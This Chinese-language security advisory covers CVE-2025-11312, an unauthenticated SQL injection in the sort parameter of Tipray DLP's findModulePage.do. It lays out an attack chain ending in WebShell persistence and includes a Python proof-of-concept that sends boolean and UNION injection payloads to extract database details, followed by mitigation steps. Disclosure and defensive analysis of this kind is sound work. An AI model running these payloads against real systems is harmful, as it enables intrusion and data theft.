IPBUF安全漏洞报告
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CVE-2025-11312 CVSS 7.3 高危

CVE-2025-11312:天锐数据泄露防护系统SQL注入漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11312
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tipray 厦门天锐科技股份有限公司 Data Leakage Prevention System 天锐数据泄露防护系统

相关标签

SQL注入天锐数据泄露防护系统TiprayDLP数据泄露防护高危漏洞远程利用无需认证CVE-2025-11312findModulePage

漏洞概述

CVE-2025-11312是厦门天锐科技股份有限公司(Tipray)旗下天锐数据泄露防护系统(Data Leakage Prevention System)1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于系统的findModulePage.do文件中的findModulePage函数,由于对传入的sort参数缺乏充分的输入验证和过滤,攻击者可以通过精心构造恶意SQL语句实现SQL注入攻击。该漏洞的CVSS 3.1评分为7.3分,属于高危级别。攻击者无需任何认证即可通过网络远程发起攻击,且不需要用户交互。漏洞的成功利用可能导致数据库信息泄露、数据篡改以及部分系统功能不可用,对企业数据安全构成严重威胁。该漏洞的利用方式已公开披露,厂商在收到漏洞报告后未作出任何回应,进一步增加了系统被攻击的风险。天锐数据泄露防护系统是一款用于保护企业敏感数据免遭泄露的安全产品,其自身存在SQL注入漏洞显得尤为讽刺,可能导致防护系统反而成为攻击者的突破口。

技术细节

该漏洞的核心问题在于findModulePage.do接口的findModulePage函数对sort参数处理不当。具体技术原理如下:

1. **注入点定位**:findModulePage函数接收用户传入的sort参数,该参数原本用于指定数据排序的字段和方式,但程序未对该参数进行严格的类型检查或SQL关键字过滤。

2. **注入方式**:攻击者可以通过在sort参数中注入恶意SQL片段(如UNION SELECT子查询、布尔盲注条件、时间盲注函数等),使原始SQL语句的语义被改变。由于未使用参数化查询(PreparedStatement),用户输入直接拼接到SQL语句中执行。

3. **攻击条件**:漏洞利用无需认证(PR:N),无需用户交互(UI:N),可通过网络远程利用(AV:N),攻击复杂度低(AC:L),这使得漏洞极易被利用。

4. **影响范围**:成功利用该漏洞可导致数据库敏感信息泄露(如管理员密码哈希、用户数据)、数据篡改(插入、修改或删除记录),以及在某些数据库配置下实现远程代码执行。

5. **利用公开性**:漏洞的PoC已在GitHub等平台公开披露,攻击者可直接利用现有工具或脚本实施攻击。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过Shodan、ZoomEye等网络空间搜索引擎或端口扫描工具识别部署了天锐数据泄露防护系统1.0版本的目标系统,确认目标系统开放了findModulePage.do接口。
STEP 2
步骤2:漏洞探测
攻击者向findModulePage.do接口的sort参数发送包含SQL注入测试payload的HTTP请求(如单引号、OR 1=1等),通过响应差异或错误信息确认SQL注入漏洞的存在。
STEP 3
步骤3:注入利用
攻击者根据数据库类型(MySQL、Oracle等)构造相应的SQL注入payload,利用UNION联合查询或布尔盲注/时间盲注技术,逐步提取数据库中的敏感信息。
STEP 4
步骤4:数据提取
成功利用后,攻击者可获取数据库版本、当前用户、数据库列表、表结构以及存储的用户凭证、敏感业务数据等关键信息。
STEP 5
步骤5:权限提升与持久化
在获取数据库管理员权限后,攻击者可尝试写入WebShell、修改系统配置或植入后门,实现对天锐数据泄露防护系统的持久控制。
STEP 6
步骤6:横向移动
利用已获取的系统权限,攻击者可进一步渗透企业内网,访问被该DLP系统保护的其他敏感数据存储系统,造成更大规模的数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11312 - Tipray DLP System SQL Injection PoC # Vulnerability: SQL Injection in findModulePage.do via sort parameter # Affected: Tipray Data Leakage Prevention System v1.0 import requests import sys TARGET_URL = "http://target-host" INJECTION_ENDPOINT = "/findModulePage.do" def exploit_sql_injection(target_url, injection_payload): """ Exploit SQL injection vulnerability in sort parameter of findModulePage function. """ url = target_url.rstrip('/') + INJECTION_ENDPOINT # Construct malicious sort parameter with SQL injection payload params = { "sort": injection_payload, # Additional parameters may be required depending on the endpoint "page": "1", "rows": "10" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(url, params=params, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") print(f"[+] Response Preview: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def test_boolean_based_sqli(target_url): """Test for boolean-based blind SQL injection""" # True condition payload true_payload = "id ASC, (SELECT CASE WHEN (1=1) THEN 1 ELSE 1/0 END) -- " # False condition payload false_payload = "id ASC, (SELECT CASE WHEN (1=2) THEN 1 ELSE 1/0 END) -- " true_resp = exploit_sql_injection(target_url, true_payload) false_resp = exploit_sql_injection(target_url, false_payload) if true_resp and false_resp and true_resp != false_resp: print("[+] Boolean-based SQL Injection confirmed!") return True return False def test_union_based_sqli(target_url): """Test for UNION-based SQL injection""" # Determine number of columns first for i in range(1, 11): cols = ",".join([str(x) for x in range(1, i+1)]) payload = f"id; UNION SELECT {cols}-- " resp = exploit_sql_injection(target_url, payload) if resp and "error" not in resp.lower(): print(f"[+] UNION-based SQL Injection possible with {i} columns") return i return None def extract_database_info(target_url): """Extract database version and current user information""" payload = "id; UNION SELECT 1,version(),user(),database()-- " resp = exploit_sql_injection(target_url, payload) return resp if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-11312 against: {target}") # Test for boolean-based injection if test_boolean_based_sqli(target): print("[*] Attempting to extract database information...") extract_database_info(target)

影响范围

Tipray 天锐数据泄露防护系统 1.0

防御指南

临时缓解措施
在厂商发布正式补丁之前,建议采取以下临时缓解措施:1)在网络层面,通过防火墙或访问控制列表(ACL)限制天锐数据泄露防护系统管理接口的访问来源,仅允许可信IP地址访问;2)在应用层面,部署Web应用防火墙(WAF)并配置SQL注入防护规则,拦截针对sort等参数的恶意请求;3)对findModulePage.do接口进行临时访问控制或禁用该功能;4)监控数据库日志,关注异常SQL查询行为;5)对存储在数据库中的敏感信息进行加密处理,降低数据泄露风险;6)由于厂商未对漏洞报告作出回应,建议尽快制定系统替换或迁移方案。

参考链接

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